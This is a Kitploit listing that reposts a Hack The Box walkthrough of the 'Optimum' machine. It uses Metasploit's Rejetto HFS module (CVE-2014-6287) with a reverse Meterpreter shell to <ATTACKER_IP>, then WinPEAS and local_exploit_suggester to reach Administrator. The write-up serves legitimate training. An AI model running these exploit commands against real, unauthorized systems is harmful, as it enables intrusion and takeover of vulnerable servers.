Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Optimum — Writeup of the Optimum machine from Hack The Box. This walkthrough covers the exploitation of Rejetto HttpFileServer 2.3 (CVE-2014-6287) to gain initial access, followed by privilege escalation on a Windows host using enumeration techniques and post-exploitation tools. | Kitploit
Tools/GitHubGitHub/r3fr4kt/optimum
Privilege EscalationReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingLearning & Education
GitHubr3fr4kt/optimum
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Optimum

Writeup of the Optimum machine from Hack The Box. This walkthrough covers the exploitation of Rejetto HttpFileServer 2.3 (CVE-2014-6287) to gain initial access, followed by privilege escalation on a Windows host using enumeration techniques and post-exploitation tools.

View Repository

Optimum


Optimum – Hack The Box Writeup

Overview

In this machine, the objective is to gain initial access to a Windows host by exploiting a vulnerable web service and then escalate privileges to obtain the administrator flag.

The attack path involved:

  • Service enumeration
  • Exploitation of Rejetto HTTP File Server 2.3
  • Initial access via Metasploit
  • Privilege escalation using WinPEAS and Metasploit post-exploitation modules

Reconnaissance

We start with a full TCP port scan to identify exposed services.

root@kitploit:~
nmap -Pn -n -p- --min-rate 5000 -T4 <TARGET_IP>

The scan reveals port 80 open.

Next, we perform a service and version scan.

root@kitploit:~
nmap -p80 -sSCV --min-rate 5000 -T4 <TARGET_IP>

The result identifies the following service:

root@kitploit:~
HttpFileServer 2.3

This service corresponds to Rejetto HTTP File Server, a lightweight file-sharing web server.


Vulnerability Identification

After researching the detected version, we discover a known vulnerability:

root@kitploit:~
CVE-2014-6287

This vulnerability allows remote code execution due to improper input sanitization.


Exploitation

To exploit the vulnerability, we use Metasploit.

Start Metasploit:

root@kitploit:~
msfconsole -q

Search for the appropriate module:

root@kitploit:~
search rejetto

Load the exploit module:

root@kitploit:~
use exploit/windows/http/rejetto_hfs_exec

Configure the required options:

root@kitploit:~
set RHOSTS <TARGET_IP>
set RPORT <TARGET_PORT>
set LHOST <ATTACKER_IP>
set LPORT <ATTACKER_PORT>
run

Once executed, the exploit provides a Meterpreter session on the target machine.


Initial Access

With the obtained Meterpreter session, we navigate the filesystem to retrieve the user flag.

root@kitploit:~
cd
cat user.txt
whoami

The command output shows that we are logged in as:

root@kitploit:~
kostas

Since this user does not have administrative privileges, we proceed with privilege escalation.


Privilege Escalation Enumeration

To identify potential privilege escalation vectors, we upload WinPEAS, a well-known Windows privilege escalation enumeration tool.

root@kitploit:~
upload /usr/share/peass/winpeas/winPEAS.exe C:\Users\kostas\Desktop\wp.exe

We then execute it:

root@kitploit:~
shell
.\wp.exe

The output reveals useful information, including credentials associated with the user kostas.


Privilege Escalation

After reviewing possible escalation vectors, we use the Metasploit module:

root@kitploit:~
local_exploit_suggester

Load the module:

root@kitploit:~
use post/multi/recon/local_exploit_suggester

Configure the session:

root@kitploit:~
set SESSION <SESSION_NUMBER>
run

This module suggests possible local exploits that can be used to escalate privileges.

After successfully escalating privileges, we obtain a shell with administrative rights.

Verification:

root@kitploit:~
shell
whoami

Administrator Access

Once administrative privileges are obtained, we navigate to the Administrator directory to retrieve the root flag.

root@kitploit:~
cd \Users\Administrator
dir
cd Desktop
dir
type root.txt

Key Takeaways

This machine demonstrates several important penetration testing concepts:

  • Proper service enumeration is critical to identifying vulnerable software.
  • Publicly known vulnerabilities such as CVE-2014-6287 can lead to immediate remote code execution.
  • Tools like WinPEAS help identify privilege escalation opportunities in Windows environments.
  • Metasploit post-exploitation modules can accelerate the privilege escalation process.
Download Tool